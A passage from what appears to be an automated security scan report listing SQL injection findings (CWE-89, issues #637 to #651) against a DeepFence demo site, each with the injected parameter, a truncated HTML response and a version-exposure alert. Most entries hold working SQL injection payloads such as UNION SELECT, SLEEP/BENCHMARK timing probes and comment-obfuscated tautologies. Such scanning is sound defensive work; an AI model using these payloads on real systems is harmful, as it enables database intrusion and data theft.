ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #637
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or ''^'Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #638
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT USER(),SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #639
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #640
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #641
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io (SELECT * FROM (SELECT(SLEEP(5)))ecMj)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #642
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #643
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT NULL
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #644
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A
')),4,5,6,7,8,9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #645
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #646
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #647
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #648
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #649
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io or benchmark(50000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #650Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #651
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '%20o/**/r%201/0%20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
